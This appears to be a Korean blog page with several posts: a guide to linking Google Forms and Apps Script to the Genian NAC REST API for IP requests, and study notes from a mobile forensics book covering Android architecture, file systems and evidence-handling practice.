https://www.genians.co.kr/blog/nac-api_google-form

 

Google Form과 NAC REST API 를 이용한 IP 신청 (Sheet 버전)

Google Form과 Genian NAC의 RESTful API를 활용한 고객 맞춤 서비스 아이디어를 소개합니다.

www.genians.co.kr


고객 맞춤 서비스 아이디어

  • Google Form과 RESTful API를 활용

Google Form과 RESTful API를 활용한 고객 맞춤 서비스 시나리오

 

개념 소개

  1. Genian NAC
    • 내부 자산과 사용자를 보호하고 기업 자원을 안전하게 사용할 수 있도록 지원하는 유무선 네트워크 접근제어 솔루션
    • Genian NAC에서는 자원 접근·통제할 수 있는 기능 및 IP 신청 등을 REST API로 제공
  2. Google Form
    • 구글에서 제공하는 무료 웹 기반 설문조사 도구
    • 설문지 생성 시 Script가 동작하도록 설정 가능, 구글폼을 통해 사용자에게 IP 신청을 받는 용도로 활용
  3. Google Apps Script
    • 구글에서 제공하는 클라우드 기반 스크립팅 플랫폼
    • Google 제품군과 통합하여 맞춤형 애플리케이션을 빌드할 수 있음
    • 구글 워크스페이스, Gmail, 드라이브, Sheets 등의 통합환경에서 Javascript 기반 스크립트를 작성하며 특정 이벤트에 맞춰 스크립트 실행하는 트리거와 이벤트 및 API 연동을 클라우드 기반으로 무료·저비용 사용 가능한 도구

사전 준비 및 구현

1. Genian NAC

Google Apps Script에서 NAC API 호출 위해서는 네트워크 접근 가능해야 하기 때문에 클라우드 기반의 NAC 환경이거나 NAC에 접근할 수 있도록 도메인 설정이 우선 → 접근 편의성을 위해 Test용 Cloud NAC 생성하여 진행

  1. Cloud NAC 사이트 생성
  2. 센서 설정 및 API 키 발급
    • IP 신청 위해서는 관리 중인 네트워크에 NAC 센서 연결하고 생성한 사이트에 등록해야 함
    • API 연동 위해서는 관리자의 API Key 생성해야 함 (생성한 Cloud NAC 사이트 속 관리자 탭에서 생성 가능)
    • API Key는 생성 시에만 확인할 수 있기 떄문에 분실하지 않도록 주의
  3. 센서 Node ID 확인
    • IP 신청을 할 때 NAC 센서 선택해야 하는데, 선택할 때의 Key가 되는 Node ID를 확인 (생성한 Cloud NAC 사이트 속 시스템>센서 설정 탭에서 확인 가능)

2. Google Form

  1. 사용자에게 IP 신청 받을 수 있는 Google Form의 항목 설정
  2. IP 신청서 작성 시 필수 입력이 되는 부분 설정
  3. 응답 결과에 대한 Sheets 생성
  4. Sheets에서 승인여부 컬럼/idx 컬럼 생성
    • 승인여부 컬럼: 관리자가 승인 여부 선택할 컬럼
    • idx 컬럼: 신청서 추가 후 발급받은 idx 값 업데이트할 컬럼

3. Apps Script

설문이 작성되어 시트에 내용 저장될 때마다 실행될 스크립트를 작성

신청할 스크립트의 종류는 ① 신청서 작성 시 신청서 등록 스크립트, ② 관리자 승인 시 신청서 승인 스크립트

  1. Sheets 메뉴 > 확장 프로그램 > Apps Script 선택
  2. 스크립트 작성 전 NAC의 Swagger 페이지에서 사용할 API 확인
    • swagger: API 문서화 해주는 도구
    • 생성과 승인을 위해 신청서 생성(POST)와 신청서 상태 수정(PUT) API를 확인
  3. Google Form이 작성될 때마다 실행될 스크립트를 작성
  4. 트리거 등록
    • 작성할 스크립트를 Apps Script에서 트리거로 추가
  5. NAC에서 IP 신청 결과 확인
    • 관리>신청>IP 사용 신청서>결과 조회 메뉴

  • 위의 시나리오처럼 Google Apps Script 뿐만 아니라 REST API 호출할 수 있는 다양한 도구와 Genian NAC 연동 시 활용 범위가 더 무궁무진해질 것. 
  • 고객 환경 개선에 구글 폼처럼 실생활에서 자주 쓰이는 툴을 사용하고 REST API까지 연동하여 솔루션을 세웠다는 것이 생소하면서도 흥미로웠다...

해당 도서의 7장_안드로이드의 이해 (197p-216p) 내용 정리


안드로이드 모델

안드로이드는 모바일 기기를 구동하기 위해 설계된 가장 대중적인 모바일 운영체제

오픈소스로 아파치 라이선스 하에 코드 공개되어 있음

→ 실질적으로 모든 사람이 코드에 접근 가능, 무료로 수정하며 기기의 요구사항에 따른 소프트웨어 사용할 수 있음

안드로이드 OS 사용하는 주요 제조사: 삼성, HTC, 소니, LG 등

안드로이드 아키텍처

리눅스 커널 계층

안드로이드 OS는 리눅스 커널 기반, 구글의 구조적 수정 통해 만들어짐

  • 리눅스
    • 여러 다른 하드웨어 상에서 쉽게 컴파일됨
    • 이동성 있는 플랫폼
    • 보안과 프로세스 관리에 있어서 검증된 플랫폼
  • 커널
    • 기기의 소프트웨어와 하드웨어 사이의 추상화 계층으로 동작
    • 하드웨어 명령 → 소프트웨어 명령으로 변환하는 과정 수행을 위한 드라이버를 포함
    • 와이파이, 블루투스, USB, 오디오, 디스플레이 등과 관련된 드라이버 포함
    • 커널의 드라이버가 하드웨어를 제어

리눅스 커널은 프로세스 관리, 메모리 관리, 보안, 네트워킹 등 안드로이드의 핵심 기능을 관리

각 안드로이드 버전은 다른 버전의 리눅스 커널을 사용

 

라이브러리 계층

안드로이드의 네이티브 라이브러리들로 이루어진 계층

같은 계층에 안드로이드 런타임도 존재

C 또는 C++ 언어로 작성, 기기가 다양한 종류의 데이터 다룰 수 있게 도움

  • SQLite 라이브러리
    • 데이터베이스에 자료 저장하고 불러오는 데 유용
  • Media Framework 라이브러리
    • 다른 라이브러리들에 서비스 제공하는 주요 인터페이스로 동작
  • WebKit 라이브러리
    • 웹 브라우저에 웹 페이지 전달
  • Surface manager 라이브러리
    • 그래픽 담당

안드로이드 런타임

  • 안드로이드 기기에서 애플리케이션 실행시키는 역할
  • 런타임: 애플리케이션 시작되고 종료될 때까지의 시간
  • 핵심 라이브러리
  • 달빅 가상 머신(DVM, Dalvik Virtual Machine)
    • 안드로이드 기기에 설치한 모든 애플리케이션은 자바 프로그래밍 언어로 작성되고, 자바 프로그래밍 컴파일 시 바이트코드 생성
    • JVM(Java VM)은 바이트코드를 실행하는 가상 머신
    • DVM은 Dex 컴파일러, 변환한 자바 바이트코드인 달빅 바이트코드를 실행
    • dx 도구를 사용해 .class 파일들이 dex 파일로 변환됨.
    • DVM은 JVM보다 낮은 메모리와 낮은 처리 환경에 더 적합
    • 달빅 바이트코드는 오직 하나의 dex 파일로 구성, 각 안드로이드 애플리케이션은 자신만의 달빅 가상 머신을 실행

 

애플리케이션 프레임워크 계층

자원 관리, 통화 관리 등 폰의 기본적인 기능 다루는 계층

기기에 설치된 애플리케이션이 직접 통신하는 블록

애플리케이션 프레임워크 계층의 주요 블록 ▼

  • Telephony Manager: 음성 통화를 관리
  • Context Provider: 다른 애플리케이션 간 데이터 공유를 관리
  • Resource Manager: 애플리케이션이 사용하는 다양한 자원 관리

 

애플리케이션 계층

최상위 계층으로, 사용자가 기기와 직접 상호작용하는 부분

기기에서 볼 수 있는 모든 것(주소록, 메일, 카메라 등)은 애플리케이션

  • 미리 설치된 애플리케이션
    • 기기와 함께 제공됨
    • 전화 걸기, 웹 브라우저, 주소록 등
  • 사용자가 설치한 애플리케이션
    • 구글 플레이 스토어, 아마존 마켓플레이스 등을 통해 다운로드 가능

 

안드로이드 보안

안드로이드는 보안에 대해 특히 집중하여 설계됨

플랫폼으로써의 안드로이드는 다계층 보안을 통해 기기에 존재하는 사용자 데이터에 대한 보안을 제공

사용자 보호를 위한 기본 설정과 안전한 애플리케이션 개발 위해 개발 커뮤니티에서 활용되는 기능들 존재

 

안드로이드 보안 제어와 관련되어 주의해야 하는 사항

  • 사용자 관련 데이터 보호
  • 시스템 자원 보호
  • 애플리케이션 간 서로의 데이터 접근 금지

 

안전한 커널

안드로이드는 안전한 플랫폼인 리눅스를 커널로 사용해 안전성 확보

리눅스의 사용자 기반 퍼미션 모델은 안드로이드에서도 잘 동작함 

출시된 안드로이드 버전 별로 커널 버전도 변화되어 왔다. 

안드로이드에 사용된 리눅스 커널 버전

 

퍼미션 모델

애플리케이션이 인터넷, 전화 걸기 등 민감한 기능에 접근 위해서는 사용자로부터 퍼미션을 받아야 함

이 퍼미션을 통해 사용자는 애플리케이션이 기기의 어떤 기능에 접근하려는지 미리 알 수 있음

→ 어떤 종류의 악성 행위(데이터 훔치기, 시스템 감염 등)를 수행하기 위해 사용자의 허락을 요구

  • 사용자가 공격 방지할 수 있도록 돕지만, 사용자가 인지하지 못하고 많은 퍼미션 허락한다면 문제 발생

 

애플리케이션 샌드박스

리눅스 시스템에서 각 사용자는 고유한 사용자 ID(UID) 할당받음

사용자들은 서로의 데이터에 접근하지 못하고, 특정 사용자가 실행한 모든 애플리케이션은 같은 권한으로 동작

안드로이드에서도 각 애플리케이션이 고유 사용자처럼 실행됨 → 각 애플리케이션에 UID가 할당되고 분리된 프로세스로 실행

 

해당 개념은 커널 레벨에서의 애플리케이션 샌드박스를 가능케 함. 

  • 커널은 애플리케이션 간 보안 제약을 UID, GID와 같은 기존 리눅스에서의 개념을 사용하여 관리
  • 만약 애플리케이션이 다른 애플리케이션 데이터 읽는 등의 악성 행위 시도해도, 해당 사용자 권한 갖고 있지 않기 때문에 행위가 허락되지 않음

√ 애플리케이션이 다른 애플리케이션의 데이터에 접근하는 것을 운영체제가 보호

 

안전한 프로세스 간 통신

안드로이드는 같은 애플리케이션 내의 한 액티비티에서 다른 액티비티로 메시지 보내거나,

다른 애플리케이션의 액티비티로 메시지 보내는 것을 통해 안전한 프로세스 간 통신을 제공

  • 안드로이드는 interprocess communication(IPC) 매커니즘 제공
    • 인텐트
    • 서비스
    • content provider 등 

 

애플리케이션 서명

설치된 모든 애플리케이션이 디지털적으로 서명되어야 하는 건 필수사항

개발자는 자신의 애플리케이션에 서명해야지만 구글 플레이스토어에 등록 가능

애플리케이션에 서명된 개인키는 개발자가 가지고 있음

 → 같은 키를 사용해 개발자는 애플리케이션의 업데이트 제공과 애플리케이션 간 데이터 공유를 수행

 


안드로이드 파일 계층

어떤 시스템(데스크탑 또는 모바일)에서 포렌식 분석 수행 위해서는 내부의 파일 계층 이해가 중요

안드로이드가 파일과 폴더에 자료를 어떻게 구성하는지에 대한 기본적 이해는 포렌식 분석가가 작업을 특정 문제로 축소하는 데 도움

 

리눅스의 파일 구조

  • 단일 트리구조, 최상위 부분은 /(루트)로 표기됨
  • 파일 시스템이 로컬이나 원격에 있는지 관계없이 루트 하위에 존재
  • 안드로이드 파일 계층은 기존의 리눅스 계층을 수정한 버전

안드로이드 기기에 존재하는 중요한 폴더들

  • /boot
    • 폰이 부팅하는 데 필요한 정보와 파일을 가진 파티션
    • 커널과 램디스크가 있는 파티션이라, 이 파티션 없이는 폰이 작동하지 않음
    • 램 내부의 데이터는 매우 중요하기 때문에 포렌식 과정에서 반드시 수집되어야 함
  • /system
    • 커널과 램디스크 이외의 시스템 관련 파일을 포함
    • 이 파티션 없이는 기기가 부팅되지 않음
    • 해당 파티션의 콘텐츠 보기 위한 명령어 ▼
shell@Android:/ $ cd /system 
cd /system 
shell@Android:/system $ Is 
Is
  • /recovery
    • 백업 목적으로 설계됨
    • 기기가 복구 모드로 부팅하는 것을 가능하게 함
    • 복구 모드에서 폰 설치를 복구할 수 있는 도구를 찾을 수 있음
  • /data
    • 각 애플리케이션의 데이터를 포함
    • 주소록, SMS, 통화한 전화번호 등 사용자 관련 데이터 대부분이 이 폴더에 저장
    • 해당 폴더의 콘텐츠 보기 위한 명령어 ▼
C:\Android-sdk-windows\platform-tools>adb.exe shell 
root@Android:/ # cd /data 
cd /data 
root@Android:/data # Is 
Is
  • /cache
    • 빠른 데이터 읽기를 위해 자주 접근되는 데이터와 몇 가지 로그를 저장
    • 해당 파티션에 존재하는 데이터가 /data 파티션에 더이상 존재하지 않을 수 있기 때문에 이 파티션이 포렌식 조사에서 중요성을 지님
  • /misc
    • 기타 설정 정보를 담고 있음
    • 설정들은 켜고 꺼짐 등의 대부분 기기의 상태를 정의
    • 하드웨어 설정, USB 설정 등도 이 폴더에서 접근 가능

 


안드로이드 파일 시스템

파일 시스템의 속성과 구조에 대한 지식은 포렌식 과정에서 유용하게 사용됨

파일 시스템

  • 데이터가 저장, 구성되고 볼륨에서 검색되는 방법을 의미
  • 기본적인 설치는 여러 파티션으로 쪼개진 하나의 볼륨을 기반으로 하고, 각 파티션은 다른 파일 시스템이 관리
  • 각 파일 시스템은 볼륨에 존재하는 파일 관리하기 위해 자신만의 규칙을 정의, 해당 규칙에 따라 각 파일 시스템은 다른 검색 속도, 보안, 크기 등을 제공

리눅스에서와 같이 안드로이드도 드라이브가 아닌 마운트 지점 활용, 여러 가지 파일 시스템을 사용

 

안드로이드 기기의 파일 시스템 보기

안드로이드 커널이 지원하는 파일 시스템은 proc 폴더에 있는 filesystems 파일의 내용을 확인하여 알 수 있음

 

해당 폴더의 콘텐츠 보기 위한 명령어 ▼

shell@Android: / $ cat /proc/filesysterns
cat /proc/filesys terns
  • 첫 번째 열은 파일 시스템이 기기에 마운트되어 있는지 여부를 알려줌
    • 이때, nodev로 표시되는 기기는 마운트되지 않은 것.
  • 두 번째 열은 기기에 존재하는 모든 파일 시스템을 나타냄

이와 같은 mount 명령 통해 기기에 존재하는 파티션 나타낼 수 있음 ▼

shell@Android:/ $ mount

 

 

root 파일 시스템(rootfs)는 안드로이드의 주요 구성요소 중 하나로 기기를 부팅하는 데 필요한 모든 정보 담고 있음

/ (root 폴더)에 마운트되어 있음 

기기가 부팅 과정 시작하면 기기는 많은 핵심 파일에 접근해야 하므로 root 파일 시스템을 마운트

 

sysfs 파일 시스템은 기기의 환경설정에 대한 정보를 담고 있으며 /sys 폴더에 마운트됨

다음 출력값은 안드로이드 기기의 sys 디렉토리 내부의 여러 폴더를 보여줌

이 폴더들에 존재하는 데이터 대부분이 환경설정과 연관되어 있기 때문에 포렌식 조사관에게 큰 중요성 주진 않음

그러나 특정 설정이 폰에 활성화되어 있는지 확인할 필요 있는 경우에 이 폴더를 조사하는 것이 도움됨

포렌식 수집에서 이 데이터를 가져오는 것은 조사 과정에서 데이터 변경되지 않음을 보장하는 가장 좋은 방법

 

devpts 파일 시스템은 안드로이드 기기의 터미널 세션과의 인터페이스 나타내며 /dev/pts에 마운트됨

 

proc 파일 시스템은 커널 데이터 구조, 프로세스와 다른 시스템과 관련된 정보를 /proc 디렉토리에 저장함

/proc/ 파일 시스템은 기기의 모든 사용 가능한 파일 시스템 목록을 나타냄

기기의 CPU에 대한 정보를 보여줌

 

tmpfs 파일 시스템은 램(휘발성 메모리)에 파일을 저장할 때 사용되는 임시 저장소

램을 사용하는 주요 장점은 빠른 접근과 검색이지만, 기기 재시작하거나 전원 꺼지면 이 데이터에 더이상 접근 불가

→ 기기 재시작되기 전 데이터 조사하거나 램 수집 방법을 통해 데이터 추출하는 것이 중요

 

EXT (Extended File System)

1992년에 리눅스 커널에 특화되어 출시

첫 번째 파일 시스템 중의 하나였으며 가상 파일 시스템을 사용

이후 EXT2, EXT3, EXT4도 출시됨

 

EXT3

  • EXT2와 비교했을 때 저널링(Journaling)이라는 주요 장점을 가짐
  • 예상치 못한 전원 꺼짐에도 파일 시스템 검증할 필요 없음

EXT4

  • 네 번째 확장 파일 시스템
  • 듀얼 코어 프로세서를 장착한 모바일 기기와 함께 주목받아옴
  • 안드로이드의 Gingerbread 버전에서 YAFFS 파일시스템(듀얼 코어 시스템의 병목으로 알려져옴)을 대체함

FAT32

  • 마이크로소프트의 FAT32 파일 시스템은 대부분의 안드로이드 기기와 윈도우, 리눅스, 맥OS를 포함한 대부분의 주요 운영체제에서 지원
  • 이 시스템은 시스템이 안드로이드 기기의 FAT32 영역에 있는 파일을 쉽게 읽고, 수정하고, 삭제할 수 있게 함
  • 대부분의 외부 SD 카드는 FAT32 파일 시스템을 사용해 포맷됨
  • VFAT는 FAT16과 FAT32 파일 시스템의 확장 버전

YAFFS2(Yet Another Flash File System 2)

  • 2002년에 출시된 오픈소스, 단일 스레드 파일 시스템
  • NAND 플래시를 다룰 때 빠르도록 설계됨
  • 포렌식 과정에서 제대로 수집되지 않는 OOB(Out Of Band)를 활용하기 때문에 분석을 힘들게 함
  • 가장 대중적인 시스템이었으며 여전히 안드로이드 기기에서 널리 사용되고 있음
  • 로그 구조의 파일 시스템, 갑작스러운 정전에도 데이터 무결성이 보장됨
  • 현재 새로운 커널 버전에서는 YAFFS2 지원되지 않지만 특정 모바일 제조사는 여전히 지원

F2FS(Flash Friendly File System)

  • 2013년 2월에 리눅스 3.8 커널을 운영하는 삼성 기기를 지원하기 위해 출시
  • NANA 플래시 메모리를 최적화하는 로그 구조 기반의 방법을 사용
  • 오프라인 지원 기능이 주요 장점
  • 아직 대중적이지 않으며 업데이트가 되고 있음

RFS(Robust File System)

  • 삼성 기기에서 NAND 플래시 메모리를 지원
  • 저널링이 트랜젝션 로그를 통해 지원되는 FAT16(또는 FAT32) 파일 시스템이라고 요약 가능
  • 지연 시간을 가지며 안드로이드 기능의 속도를 느리게 한다고 알려져 있음

 

해당 도서의 1장_모바일 포렌식 입문 (31p-53p) 내용 정리


모바일 포렌식

모바일 폰으로부터 디지털 증거를 복구하는 과학

디지털 포렌식의 한 분야로, 모바일 장치로부터 디지털 증거를 복구하는 것과 관계됨

  • 디지털 증거: 조사 대상이 되는 전자기기에 저장 또는 수신되거나 기기에 의해 전송되는 정보와 데이터
  • '타당한' 포렌식 조사
    • 증거가 조작되어서는 안 됨
    • 그러나, 모바일 장치에서는 타당성 원칙 지켜지기 어려움 → 적절한 방법론과 가이드라인 따라야 함
  • 모바일 포렌식 과정
    • 압수
    • 수집
    • 조사/분석

 

모바일 포렌식의 어려움

가장 큰 어려움은 데이터가 복수의 장치에서 접근, 저장, 동기화 가능하다는 것

데이터는 휘발성이고 빠른 변형/원격 삭제 가능

  • 모바일 포렌식이 어려운 이유
하드웨어의 차이 여러 제조사에서 출시한 다양한 모델의 모바일 기기들.
크기, 하드웨어, 기능, 운영체제가 다른 여러 종류의 모바일 기기의 특성에 맞게 새로운 모바일 장치 포렌식 기법에 능숙해져야 한다.
모바일 운영체제 PC와는 달리 모바일 장치는 애플의 iOS, 구글의 안드로이드, RIM의 블랙베리 OS, 마이크로소프트의 윈도우 모바일 등 다양한 OS를 사용함
모바일 플랫폼 보안 기능 모바일 플랫폼은 내장 보안 기능을 포함해 사용자의 데이터와 프라이버시를 보호.
포렌식 과정에서는 걸림돌이 됨.
부족한 자원 여러 종류의 모바일 폰에 대한 케이블, 배터리 등 포렌식 액세서리가 부족.
장치의 일반적인 상태 장치가 대기 상태에 있는 것 같아도 백그라운드 프로세스는 여전히 동작중일 수 있음. 
한 상태 → 다른 상태로의 갑작스러운 전이는 데이터 유실/변이 야기할 수 있음.
안티 포렌식 기법 데이터 숨김, 데이터 난독화, 데이터 위조, 안전한 삭제 등 안티 포렌식 기법은 디지털 매체에 대한 조사를 더욱 어렵게 함. 
증거의 동적인 속성 디지털 증거는 의도적/비의도적으로 쉽게 변경될 수 있음. 
예기치 않은 초기화 모바일 폰은 모든 것을 초기화할 수 있는 기능을 제공. 
장치 변경 애플리케이션 데이터 이동, 파일 이름 변경, 제조사의 운영체제 수정 등으로 장치 변경이 일어날 수 있음. 
비밀번호 복구 장치가 비밀번호로 보호되고 있을 경우 장치의 자료를 손상시키지 않고 장치에 접근해야 함. 
통신 차폐 장치 간의 통신은 장치의 데이터를 변경시킬 수 있어 장치 압수 이후에 가능한 통신의 가능성을 제거해야 함. 
사용 가능한 도구의 부족 하나의 도구가 모든 모바일 장치를 지원하지 않거나 필요한 모든 기능을 제공하지 않을 수 있어서 도구의 적절한 조합이 필요. 
악성 프로그램 장치 내에 바이러스, 트로이젠 등 악성 소프트웨어가 존재할 수 있음. 
법적 문제 모바일 장치가 지리적 경계를 넘는 범죄에 사용되었을 수 있음. 

 

모바일 폰 증거 추출 과정

모바일 장치로부터 자료를 추출할 때 고려할 과정의 개요

  1. 증거 수집
    • 소유권 정보와 모바일 장치가 어떤 사고에 관련되어 있는지, 요청자가 찾고자 하는 자료나 정보 종류의 개요 설명
  2. 식별
    • 법적 권한
      • 조사를 위한 법적 권한과 매체에 존재하는 제한사항 확인하고 문서화
    • 조사의 목표
      • 요청된 자료를 바탕으로 얼마나 자세한 조사가 필요한지 확인 → 도구와 기법 선택에 도움, 조사 과정 효율성 증가
    • 장치의 제조사, 모델, 식별 정보
      • 폰의 제조사와 모델 식별 → 어떤 도구가 동작할지 결정에 도움
    • 이동식 외부 데이터 저장소
      • 폰에서 트랜스 마이크로SD 메모리 확장 카드와 같은 이동식 저장소를 발견할 시 카드를 제거해 추가적인 디지털 포렌식 기법을 사용해 처리
      • 쉬운 분석을 위해 모바일 장치에 있는 카드를 빼내고 장치의 메모리와 카드에 저장된 데이터를 연결시키는 게 좋음
    • 잠재적 증거의 기타 근원
      • 조사 이전에 지문과 기타 생물학적 증거를 수집
  3. 준비
    • 조사 대상이 되는 특정 폰과 자료 수집 및 조사에서 사용될 적절한 방법과 도구들이 연구됨
  4. 격리
    • 폰이 네트워크에 연결되면 전화, 메시지, 애플리케이션 데이터의 수진 통해 새로운 데이터가 폰에 추가되며 폰 내부의 증거가 변화될 수 있고 원격 접속/원격 삭제 명령을 통해 데이터의 완전한 삭제도 가능
    • 수집과 조사 단계 이전에 장치를 통신 매체로부터 격리
    • 패러데이 백 → 폰으로 송수신되는 무선 신호를 차단. 그러나 통신 완벽 차단은 불가
    • 네트워크 격리 → 폰을 비행기 모드로 설정하고 무선 주파수 차폐 주머니에 보관
  5. 처리
    • 반복할 수 있고 포렌식적으로 타당한, 검증된 방법으로 수집되어야 함
    • 물리적 수집
      • 보통 장치 전원이 꺼진 상태에서 미가공 메모리 데이터를 추출하기 때문에 선호되는 방법
      • 물리적 수집 과정에서는 대부분 최소한의 변화만 발생
    • 논리적 수집
      • 분석된 데이터 얻거나 미가공 메모리 이미지를 조사하기 위한 힌트 얻을 수 있음
  6. 검증
    • 추출한 데이터를 장치 내 데이터와 비교
      • 장치에서 추출한 데이터가 장치가 표시하는 데이터와 일치하는지 확인
      • ※ 주의. 원본 장치를 다루는 것이 증거(장비 자체)에 변화를 줄 수 있음
    • 여러 도구의 사용과 결과 비교
      • 정확성 보장을 위해 여러 도구를 사용해 데이터 추출하고 그 결과를 비교
    • 해시 값 사용
      • 모든 이미지 파일 수집 이후에는 해시 값을 계산해 데이터 변경되지 않도록 해야 함
      • 파일 시스템 추출 가능하다면 → 추출한 파일 시스템에 대한 해시값을 계산하고 원본 값과 비교
  7. 문서화와 보고
    • 수집과 조사 과정에서 어떤 일 했는지에 대해 동시 기록 형식으로 조사 과정 전체를 문서화
    • 조사관의 노트와 문서에 포함될 수 있는 것들
      • 조사 시작과 완료 시간
      • 폰의 물리적 조건
      • 폰과 개별 구성요소의 사진
      • 폰을 받았을 때의 상태 - 전원 켜짐 여부
      • 폰 제조사와 모델
      • 수집에 사용된 도구
      • 조사에 사용된 도구
      • 조사 과정에서 발견된 데이터
      • 상호 평가 노트
  8. 제시
    • 모바일 장치에서 추출되고 문서화된 정보를 다른 조사관/법정에 명확하게 보일 수 있게 해야 함
    • 조사 결과는 명확하고 간결하며 반복 가능해야 하고, 반드시 문서화되어야 함
  9. 기록 보관
    • 추출한 데이터를 사용 가능한 형태로 유지

 

실제적인 모바일 포렌식 접근법

모바일 장치에서 데이터 추출하는 일반적인 방법

모바일 운영체제 개요

  • 안드로이드
    • 리눅스 기반
    • 오픈소스와 무료 형태로 개발되어 하드웨어 제조사와 이동통신사들에게 제공
    • 세계에서 가장 많이 사용되고 있는 스마트폰 운영체제
  • iOS
    • 애플에 의해서만 개발되고 배포됨
    • Darwin에 기반한 OS X로부터 유래되었기 때문에 유닉스와 비슷함
    • 장치 하드웨어를 관리하고 네이티브 애플리케이션을 구현하기 위해 필요한 기술을 제공
  • 윈도우 폰
    • 마이크로소프트사에 의해 개발된 운영체제
    • 스마트폰과 포켓 PC에서 사용
    • 윈도우 데스크탑 OS와 비슷하지만 작은 용량의 저장소를 갖춘 장치에 최적화
  • 블랙베리 OS
    • 블랙베리 라인에 속하는 스마트폰과 모바일 장치에서만 사용
    • 법인 회사에 널리 사용되며 블랙베리 엔터프라이즈 서버를 사용
    • 높은 보안성

모바일 포렌식 도구 레벨링 시스템

  • 모바일 폰의 포렌식 수집과 분석과정에서 적절한 도구를 찾을 때 샘 브라더즈의 모바일 장치 포렌식 도구 분류 시스템 사용하면 편리 
  • 각 모바일 포렌식 도구 시스템은 다섯 개 레벨 중 하나 이상의 레벨에 분류될 수 있음 
수동 추출 ▶ 장치의 키패드나 터치 스크린을 사용해 장치에 있는 데이터를 단순히 스크롤하거나 데이터 보는 것을 포함
▶ 추출 과정 빠르고 편리, 거의 모든 폰에서 사용 가능
▶ 인터페이스에 익숙치 않아 특정 데이터 빠트리는 등의 실수 발생 가능성
▶ 삭제된 데이터 복구하는 일/모든 데이터 수집하는 일 불가능
논리적 추출 ▶ 모바일 장치를 포렌식 하드웨어나 포렌식 워크스테이션에 케이블, 적외선 또는 블루투스로 연결하는 것을 포함
▶ 연결 시 컴퓨터가 장치로 명령 보내고, 장치의 프로세서가 해석
▶  사용 가능한 대부분의 포렌식 장치는 대부분 이 레벨에서 동작
▶ 추출 과정 빠름, 사용 편리
▶ 장치에 데이터 쓰여질 수 있어서 증거의 무결성에 영향 줄 수 있음
▶ 삭제된 데이터 접근 거의 불가능
헥스 덤프 ▶ 물리적 추출이라고도 일컬음
▶ 장치를 포렌식 워크스테이션에 연결해 서명되지 않은 코드, 부트로더를 폰에 넣어 폰의 메모리 덤프를 컴퓨터에 전송하는 과정
▶ 결과로 추출되는 미가공 이미지는 바이너리 형태라 분석 위해선 전문성 필요
▶ 값싸고 더 많은 데이터 제공, 삭제된 파일 복구 가능
칩 오프 ▶ 장치의 메모리 칩에서 직접 데이터를 수집하는 것
▶ 장치에서 물리적으로 칩 제거하여 그 안에 저장된 데이터 추출 위해 칩 리더 또는 다른 폰 사용
▶ 모바일 폰에서 사용되는 칩의 종류 다양해 기술적인 어려움
▶ 비쌈, 땝납 제거와 메모리 칩에 가열 등 하드웨어 수준의 지식 요구
▶ 본질적으로 장치에 손상 줄 수 있기 때문에 이를 수행하기 전 다른 레벨의 추출 시도 추천
▶ 추출 정보가 미가공 형태라서 파싱, 디코딩해 해석되어야 함
▶ 칩이 장치에 장착되어 있을 때 등의 메모리 상태를 보존하는 것이 중요할 때, 장치 손상됐으나 메모리 칩은 영향 받지 않은 상황에 선호되는 방법
마이크로 칩 읽기 ▶ 메모리 칩 상의 데이터를 수동으로 보고 해석하는 과정 포함
▶ 전자 현미경 사용해 칩의 물리 게이터 분석하고 게이트 상태를 0/1로 해석해 ASCII 문자 결정
▶ 시간, 비용 많이 들고 플래시 메모리와 파일 시스템에 대한 광범위한 지식과 연습 필요
▶ 거의 수행되지 않으며 문서화 잘 안 돼있음, 상용 도구 없음

 

데이터 수집 방법

  • 이미징을 포함한 디지털 장치와 주변 장치, 매체로부터 정보 추출하는 과정
물리적 수집 ▶ 모바일 포렌식 도구와 방법을 사용해 수행됨
▶ 플래시 메모리에 직접 접근하여 장치로부터 정보를 획득
▶ 전체 파일 시스템의 비트 단위 사본을 생성
▶ 삭제된 데이터 포함해 장치에 존재하는 모든 데이터 획득 가능, 대부분 장치의 할당 안 된 공간 접근 가능
논리적 수집 ▶ 폰 내부 자료를 컴퓨터와 동기화하기 위해 장치 제조사의 애플리케이션 프로그래밍 인터페이스 사용해 수집됨
▶ 포렌식 도구에 따라 모든 데이터를 얻을 수도, 일부의 데이터만 얻을 수도 있음
▶ 폰에 존재하는 파일만 복구하며 할당되지 않은 공간에 존재하는 데이터 복구하지 않음
수동 수집 ▶ 포렌식 수집 과정 중 가장 마지막에 선택됨 
▶ 키패드나 터치 스크린과 메뉴 탐색을 통해 장치 사용하며 조사관은 각 화면의 내용을 사진으로 기록
▶ 사람의 실수 발생 가능성 높음, 증거 삭제될 가능성 있음
▶ 폰에 나타나는 데이터만 수집 가능

 

모바일 폰에 저장된 잠재적 증거

모바일 폰 내부의 데이터는 SIM 카드, 외장 저장소 카드, 폰의 메모리에서 찾을 수 있음

'폰 메모리'에서 얻을 수 있는 데이터에 초점. 

▼ 일반적으로 모든 모델에서 접근 가능하며 유용한 증거들 ▼

  • 주소록
  • 통화 기록
  • SMS
  • MMS
  • E-mail
  • 웹 브라우저 방문 기록
  • 사진
  • 비디오
  • 음악
  • 문서
  • 캘린더
  • 네트워크 통신
  • 지도
  • 소셜 네트워킹 데이터
  • 삭제된 데이터

증거 법칙

디지털 포렌식에 적용되고 증거가 유용해지기 위해 따라야 할 다섯 가지 일반적인 규칙

해당 규칙 무시할 시 증거 받아들여지지 않을 수 있음

  • 증거의 인정 여부
    • 법정이나 다른 곳에서 사용될 수 있는 방법으로 증거를 수집, 보존해야 함
    • 불법적 경로로 수집된 증거 등은 증거로서 인정받을 수 없음
  • 증거의 진위 여부
    • 반드시 사건과 연관되어 어떤 것을 증명 가능해야 함
  • 증거의 완전성
    • 증거가 명확하고 완전한 상태여야 하며 사건의 전체 내용 반영해야 함
  • 증거의 신뢰성
    • 사용된 도구와 방법에 따라 신뢰할 수 있는 증거여야 함
  • 믿을 만한 증거
    • 사용한 과정과 증거의 무결성 보존하기 위한 방법을 명확하고 간결하게 설명 가능해야 함
    • 조사관이 제시한 증거를 배심원이 명확히 이해할 수 있고 믿을 수 있어야 함

올바른 포렌식 관례

증거가 법정에서 진본이고 명확함을 인정받을 수 있도록 하는 모범 관례

  • 증거 보호
    • 올바른 기구와 기법을 사용해 모든 네트워크로부터 폰을 격리
    • 자료 삭제를 야기할 수 있는 데이터 수신 방지
  • 증거 보존
    • 수집된 증거는 법정에서 인정될 수 있는 상태로 보존되어야 함
    • 증거의 원본에 작업한다면 증거에 변화를 줄 수 있으므로 미가공 디스크 이미지나 파일 복구하는 즉시 읽기 전용 마스터 사본 생성해 복제해야 함
